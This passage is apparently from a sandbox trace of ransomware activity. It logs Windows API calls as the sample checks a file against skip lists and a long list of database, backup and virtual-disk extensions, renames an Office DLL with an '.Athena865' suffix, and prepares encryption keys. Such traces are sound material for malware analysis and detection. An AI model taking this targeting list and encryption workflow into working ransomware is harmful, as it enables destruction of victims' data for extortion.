(lpString1="DGRMLNCH.DLL", lpString2=".") returned 1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="..") returned 1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="windows") returned -1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="bootmgr") returned 1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="temp") returned -1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="pagefile.sys") returned -1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="boot") returned 1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="ids.txt") returned -1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="ntuser.dat") returned -1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="perflogs") returned -1 [0094.080] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2="MSBuild") returned -1 [0094.080] lstrlenW (lpString="DGRMLNCH.DLL") returned 12 [0094.080] lstrcpyW (in: lpString1=0x241e8aa, lpString2="DGRMLNCH.DLL" | out: lpString1="DGRMLNCH.DLL") returned="DGRMLNCH.DLL" [0094.080] lstrlenW (lpString="DGRMLNCH.DLL") returned 12 [0094.080] lstrlenW (lpString="Athena865") returned 9 [0094.080] lstrcmpiW (lpString1="MLNCH.DLL", lpString2="Athena865") returned 1 [0094.080] lstrlenW (lpString=".dll") returned 4 [0094.081] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".dll") returned 1 [0094.081] lstrlenW (lpString=".lnk") returned 4 [0094.081] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".lnk") returned 1 [0094.081] lstrlenW (lpString=".ini") returned 4 [0094.081] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".ini") returned 1 [0094.081] lstrlenW (lpString=".sys") returned 4 [0094.081] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".sys") returned 1 [0094.081] lstrlenW (lpString="DGRMLNCH.DLL") returned 12 [0094.081] lstrlenW (lpString="bak") returned 3 [0094.081] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0094.081] lstrlenW (lpString="ba_") returned 3 [0094.081] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0094.081] lstrlenW (lpString="dbb") returned 3 [0094.081] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0094.081] lstrlenW (lpString="vmdk") returned 4 [0094.081] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0094.081] lstrlenW (lpString="rar") returned 3 [0094.081] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0094.081] lstrlenW (lpString="zip") returned 3 [0094.081] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0094.081] lstrlenW (lpString="tgz") returned 3 [0094.081] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0094.081] lstrlenW (lpString="vbox") returned 4 [0094.081] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0094.081] lstrlenW (lpString="vdi") returned 3 [0094.081] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0094.081] lstrlenW (lpString="vhd") returned 3 [0094.081] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0094.081] lstrlenW (lpString="vhdx") returned 4 [0094.081] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0094.081] lstrlenW (lpString="avhd") returned 4 [0094.081] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0094.082] lstrlenW (lpString="db") returned 2 [0094.082] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0094.082] lstrlenW (lpString="db2") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0094.082] lstrlenW (lpString="db3") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0094.082] lstrlenW (lpString="dbf") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0094.082] lstrlenW (lpString="mdf") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0094.082] lstrlenW (lpString="mdb") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0094.082] lstrlenW (lpString="sql") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0094.082] lstrlenW (lpString="sqlite") returned 6 [0094.082] lstrcmpiW (lpString1="CH.DLL", lpString2="sqlite") returned -1 [0094.082] lstrlenW (lpString="sqlite3") returned 7 [0094.082] lstrcmpiW (lpString1="NCH.DLL", lpString2="sqlite3") returned -1 [0094.082] lstrlenW (lpString="sqlitedb") returned 8 [0094.082] lstrcmpiW (lpString1="LNCH.DLL", lpString2="sqlitedb") returned -1 [0094.082] lstrlenW (lpString="xml") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0094.082] lstrlenW (lpString="$er") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0094.082] lstrlenW (lpString="4dd") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0094.082] lstrlenW (lpString="4dl") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0094.082] lstrlenW (lpString="^^^") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0094.082] lstrlenW (lpString="abs") returned 3 [0094.082] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0094.083] lstrlenW (lpString="abx") returned 3 [0094.083] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0094.083] lstrlenW (lpString="accdb") returned 5 [0094.083] lstrcmpiW (lpString1="H.DLL", lpString2="accdb") returned 1 [0094.083] lstrlenW (lpString="accdc") returned 5 [0094.083] lstrcmpiW (lpString1="H.DLL", lpString2="accdc") returned 1 [0094.083] lstrlenW (lpString="accde") returned 5 [0094.083] lstrcmpiW (lpString1="H.DLL", lpString2="accde") returned 1 [0094.083] lstrlenW (lpString="accdr") returned 5 [0094.083] lstrcmpiW (lpString1="H.DLL", lpString2="accdr") returned 1 [0094.083] lstrlenW (lpString="accdt") returned 5 [0094.083] lstrcmpiW (lpString1="H.DLL", lpString2="accdt") returned 1 [0094.083] lstrlenW (lpString="accdw") returned 5 [0094.083] lstrcmpiW (lpString1="H.DLL", lpString2="accdw") returned 1 [0094.083] lstrlenW (lpString="accft") returned 5 [0094.083] lstrcmpiW (lpString1="H.DLL", lpString2="accft") returned 1 [0094.083] lstrlenW (lpString="adb") returned 3 [0094.083] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.083] lstrlenW (lpString="adb") returned 3 [0094.083] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.083] lstrlenW (lpString="ade") returned 3 [0094.083] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0094.083] lstrlenW (lpString="adf") returned 3 [0094.083] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0094.083] lstrlenW (lpString="adn") returned 3 [0094.083] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0094.083] lstrlenW (lpString="adp") returned 3 [0094.083] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0094.083] lstrlenW (lpString="alf") returned 3 [0094.083] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0094.083] lstrlenW (lpString="ask") returned 3 [0094.083] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0094.083] lstrlenW (lpString="btr") returned 3 [0094.084] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0094.084] lstrlenW (lpString="cat") returned 3 [0094.084] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0094.084] lstrlenW (lpString="cdb") returned 3 [0094.084] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0094.084] lstrlenW (lpString="ckp") returned 3 [0094.084] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0094.084] lstrlenW (lpString="cma") returned 3 [0094.084] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0094.084] lstrlenW (lpString="cpd") returned 3 [0094.084] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0094.084] lstrlenW (lpString="dacpac") returned 6 [0094.084] lstrcmpiW (lpString1="CH.DLL", lpString2="dacpac") returned -1 [0094.084] lstrlenW (lpString="dad") returned 3 [0094.084] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0094.084] lstrlenW (lpString="dadiagrams") returned 10 [0094.084] lstrcmpiW (lpString1="RMLNCH.DLL", lpString2="dadiagrams") returned 1 [0094.084] lstrlenW (lpString="daschema") returned 8 [0094.084] lstrcmpiW (lpString1="LNCH.DLL", lpString2="daschema") returned 1 [0094.084] lstrlenW (lpString="db-journal") returned 10 [0094.084] lstrcmpiW (lpString1="RMLNCH.DLL", lpString2="db-journal") returned 1 [0094.084] lstrlenW (lpString="db-shm") returned 6 [0094.084] lstrcmpiW (lpString1="CH.DLL", lpString2="db-shm") returned -1 [0094.084] lstrlenW (lpString="db-wal") returned 6 [0094.084] lstrcmpiW (lpString1="CH.DLL", lpString2="db-wal") returned -1 [0094.084] lstrlenW (lpString="dbc") returned 3 [0094.084] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0094.084] lstrlenW (lpString="dbs") returned 3 [0094.084] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0094.084] lstrlenW (lpString="dbt") returned 3 [0094.084] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0094.084] lstrlenW (lpString="dbv") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0094.085] lstrlenW (lpString="dbx") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0094.085] lstrlenW (lpString="dcb") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0094.085] lstrlenW (lpString="dct") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0094.085] lstrlenW (lpString="dcx") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0094.085] lstrlenW (lpString="ddl") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0094.085] lstrlenW (lpString="dlis") returned 4 [0094.085] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0094.085] lstrlenW (lpString="dp1") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0094.085] lstrlenW (lpString="dqy") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0094.085] lstrlenW (lpString="dsk") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0094.085] lstrlenW (lpString="dsn") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0094.085] lstrlenW (lpString="dtsx") returned 4 [0094.085] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0094.085] lstrlenW (lpString="dxl") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0094.085] lstrlenW (lpString="eco") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0094.085] lstrlenW (lpString="ecx") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0094.085] lstrlenW (lpString="edb") returned 3 [0094.085] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0094.085] lstrlenW (lpString="epim") returned 4 [0094.086] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0094.086] lstrlenW (lpString="fcd") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0094.086] lstrlenW (lpString="fdb") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0094.086] lstrlenW (lpString="fic") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0094.086] lstrlenW (lpString="flexolibrary") returned 12 [0094.086] lstrlenW (lpString="fm5") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0094.086] lstrlenW (lpString="fmp") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0094.086] lstrlenW (lpString="fmp12") returned 5 [0094.086] lstrcmpiW (lpString1="H.DLL", lpString2="fmp12") returned 1 [0094.086] lstrlenW (lpString="fmpsl") returned 5 [0094.086] lstrcmpiW (lpString1="H.DLL", lpString2="fmpsl") returned 1 [0094.086] lstrlenW (lpString="fol") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0094.086] lstrlenW (lpString="fp3") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0094.086] lstrlenW (lpString="fp4") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0094.086] lstrlenW (lpString="fp5") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0094.086] lstrlenW (lpString="fp7") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0094.086] lstrlenW (lpString="fpt") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0094.086] lstrlenW (lpString="frm") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0094.086] lstrlenW (lpString="gdb") returned 3 [0094.086] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.087] lstrlenW (lpString="gdb") returned 3 [0094.087] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.087] lstrlenW (lpString="grdb") returned 4 [0094.087] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0094.087] lstrlenW (lpString="gwi") returned 3 [0094.087] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0094.087] lstrlenW (lpString="hdb") returned 3 [0094.087] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0094.087] lstrlenW (lpString="his") returned 3 [0094.087] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0094.087] lstrlenW (lpString="ib") returned 2 [0094.087] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0094.087] lstrlenW (lpString="idb") returned 3 [0094.087] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0094.087] lstrlenW (lpString="ihx") returned 3 [0094.087] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0094.087] lstrlenW (lpString="itdb") returned 4 [0094.087] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0094.087] lstrlenW (lpString="itw") returned 3 [0094.087] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0094.087] lstrlenW (lpString="jet") returned 3 [0094.087] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0094.087] lstrlenW (lpString="jtx") returned 3 [0094.087] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0094.087] lstrlenW (lpString="kdb") returned 3 [0094.087] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0094.087] lstrlenW (lpString="kexi") returned 4 [0094.087] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0094.087] lstrlenW (lpString="kexic") returned 5 [0094.087] lstrcmpiW (lpString1="H.DLL", lpString2="kexic") returned -1 [0094.088] lstrlenW (lpString="kexis") returned 5 [0094.088] lstrcmpiW (lpString1="H.DLL", lpString2="kexis") returned -1 [0094.088] lstrlenW (lpString="lgc") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0094.088] lstrlenW (lpString="lwx") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0094.088] lstrlenW (lpString="maf") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0094.088] lstrlenW (lpString="maq") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0094.088] lstrlenW (lpString="mar") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0094.088] lstrlenW (lpString="marshal") returned 7 [0094.088] lstrcmpiW (lpString1="NCH.DLL", lpString2="marshal") returned 1 [0094.088] lstrlenW (lpString="mas") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0094.088] lstrlenW (lpString="mav") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0094.088] lstrlenW (lpString="maw") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0094.088] lstrlenW (lpString="mdbhtml") returned 7 [0094.088] lstrcmpiW (lpString1="NCH.DLL", lpString2="mdbhtml") returned 1 [0094.088] lstrlenW (lpString="mdn") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0094.088] lstrlenW (lpString="mdt") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0094.088] lstrlenW (lpString="mfd") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0094.088] lstrlenW (lpString="mpd") returned 3 [0094.088] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0094.088] lstrlenW (lpString="mrg") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0094.089] lstrlenW (lpString="mud") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0094.089] lstrlenW (lpString="mwb") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0094.089] lstrlenW (lpString="myd") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0094.089] lstrlenW (lpString="ndf") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0094.089] lstrlenW (lpString="nnt") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0094.089] lstrlenW (lpString="nrmlib") returned 6 [0094.089] lstrcmpiW (lpString1="CH.DLL", lpString2="nrmlib") returned -1 [0094.089] lstrlenW (lpString="ns2") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0094.089] lstrlenW (lpString="ns3") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0094.089] lstrlenW (lpString="ns4") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0094.089] lstrlenW (lpString="nsf") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0094.089] lstrlenW (lpString="nv") returned 2 [0094.089] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0094.089] lstrlenW (lpString="nv2") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0094.089] lstrlenW (lpString="nwdb") returned 4 [0094.089] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0094.089] lstrlenW (lpString="nyf") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0094.089] lstrlenW (lpString="odb") returned 3 [0094.089] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.089] lstrlenW (lpString="odb") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.090] lstrlenW (lpString="oqy") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0094.090] lstrlenW (lpString="ora") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0094.090] lstrlenW (lpString="orx") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0094.090] lstrlenW (lpString="owc") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0094.090] lstrlenW (lpString="p96") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0094.090] lstrlenW (lpString="p97") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0094.090] lstrlenW (lpString="pan") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0094.090] lstrlenW (lpString="pdb") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0094.090] lstrlenW (lpString="pdm") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0094.090] lstrlenW (lpString="pnz") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0094.090] lstrlenW (lpString="qry") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0094.090] lstrlenW (lpString="qvd") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0094.090] lstrlenW (lpString="rbf") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0094.090] lstrlenW (lpString="rctd") returned 4 [0094.090] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0094.090] lstrlenW (lpString="rod") returned 3 [0094.090] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0094.091] lstrlenW (lpString="rodx") returned 4 [0094.091] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0094.091] lstrlenW (lpString="rpd") returned 3 [0094.091] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0094.091] lstrlenW (lpString="rsd") returned 3 [0094.091] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0094.091] lstrlenW (lpString="sas7bdat") returned 8 [0094.091] lstrcmpiW (lpString1="LNCH.DLL", lpString2="sas7bdat") returned -1 [0094.091] lstrlenW (lpString="sbf") returned 3 [0094.091] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0094.091] lstrlenW (lpString="scx") returned 3 [0094.091] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0094.091] lstrlenW (lpString="sdb") returned 3 [0094.091] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0094.091] lstrlenW (lpString="sdc") returned 3 [0094.091] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0094.091] lstrlenW (lpString="sdf") returned 3 [0094.091] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0094.091] lstrlenW (lpString="sis") returned 3 [0094.091] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0094.091] lstrlenW (lpString="spq") returned 3 [0094.091] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0094.091] lstrlenW (lpString="te") returned 2 [0094.091] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0094.091] lstrlenW (lpString="teacher") returned 7 [0094.091] lstrcmpiW (lpString1="NCH.DLL", lpString2="teacher") returned -1 [0094.091] lstrlenW (lpString="tmd") returned 3 [0094.091] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0094.091] lstrlenW (lpString="tps") returned 3 [0094.091] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0094.092] lstrlenW (lpString="trc") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.092] lstrlenW (lpString="trc") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.092] lstrlenW (lpString="trm") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0094.092] lstrlenW (lpString="udb") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0094.092] lstrlenW (lpString="udl") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0094.092] lstrlenW (lpString="usr") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0094.092] lstrlenW (lpString="v12") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0094.092] lstrlenW (lpString="vis") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0094.092] lstrlenW (lpString="vpd") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0094.092] lstrlenW (lpString="vvv") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0094.092] lstrlenW (lpString="wdb") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0094.092] lstrlenW (lpString="wmdb") returned 4 [0094.092] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0094.092] lstrlenW (lpString="wrk") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0094.092] lstrlenW (lpString="xdb") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0094.092] lstrlenW (lpString="xld") returned 3 [0094.092] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0094.092] lstrlenW (lpString="xmlff") returned 5 [0094.093] lstrcmpiW (lpString1="H.DLL", lpString2="xmlff") returned -1 [0094.093] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\DGRMLNCH.DLL.Athena865") returned 71 [0094.093] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\dgrmlnch.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\DGRMLNCH.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\dgrmlnch.dll.athena865"), dwFlags=0x1) returned 1 [0094.094] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\DGRMLNCH.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\dgrmlnch.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.094] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=83816) returned 1 [0094.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.094] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.095] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.095] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.095] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14a70, lpName=0x0) returned 0x17c [0094.097] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14a70) returned 0x100000 [0094.101] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.102] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.102] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0094.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0094.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0094.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0094.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.103] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.104] CloseHandle (hObject=0x17c) returned 1 